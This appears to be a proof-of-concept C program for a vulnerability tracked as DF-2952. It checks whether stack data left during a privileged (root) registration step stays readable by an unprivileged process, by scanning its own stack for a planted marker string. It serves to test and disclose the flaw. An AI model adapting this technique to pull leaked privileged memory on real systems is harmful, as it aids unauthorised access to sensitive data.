/*
 * DF-2952 PoC - victim program for resident-exec stale-stack disclosure.
 * v2: logs hit addresses and scan stop, scans below SP too.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdint.h>

#define MARKER		"DF2952MARKER"
#define MARKLEN		12
#define USRSTACK_TOP	0x7ffffffff000UL	/* pc64: USRSTACK == VM_MAX_USER_ADDRESS */

static sigjmp_buf scan_jb;
static volatile void *fault_addr;

static void
segv_handler(int sig, siginfo_t *si, void *ctx)
{
	fault_addr = si ? si->si_addr : NULL;
	siglongjmp(scan_jb, 1);
}

static unsigned long
scan_range(char *lo, char *hi, int verbose)
{
	char *p;
	unsigned long hits = 0;

	for (p = lo; p + MARKLEN < hi; p++) {
		if (((uintptr_t)p & 0xFFF) == 0) {
			if (sigsetjmp(scan_jb, 1) != 0) {
				printf("scan: stopped at fault %p (range %p-%p)\n",
				    fault_addr, lo, hi);
				return hits;
			}
		}
		if (memcmp(p, MARKER, MARKLEN) == 0) {
			hits++;
			if (verbose || hits <= 24)
				printf("scan: HIT #%lu at %p: %.48s\n",
				    hits, p, p);
			p += MARKLEN;
		}
	}
	return hits;
}

int
main(int argc, char **argv)
{
	char *sp;
	unsigned long up = 0, down = 0;
	struct sigaction sa;

	if (argc < 2 || strcmp(argv[1], "leakcheck") != 0)
		return (0);

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = segv_handler;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	sp = (char *)__builtin_frame_address(0);
	setvbuf(stdout, NULL, _IONBF, 0);
	printf("leakcheck: pid=%d uid=%d sp=%p\n", getpid(), getuid(), sp);

	/* scan upward from current SP toward USRSTACK (strings area) */
	up = scan_range(sp, (char *)USRSTACK_TOP - 64, 1);

	/* scan downward too (older/deeper registration frames) */
	down = scan_range(sp - (256*1024), sp, 1);

	printf("leakcheck: hits above SP: %lu, below SP: %lu, total %lu\n",
	    up, down, up + down);
	if (up + down > 0) {
		printf("RESULT: LEAK - registration-time (root) stack data "
		    "readable by uid %d\n", getuid());
		return (42);
	}
	printf("RESULT: no leaked markers found\n");
	return (0);
}
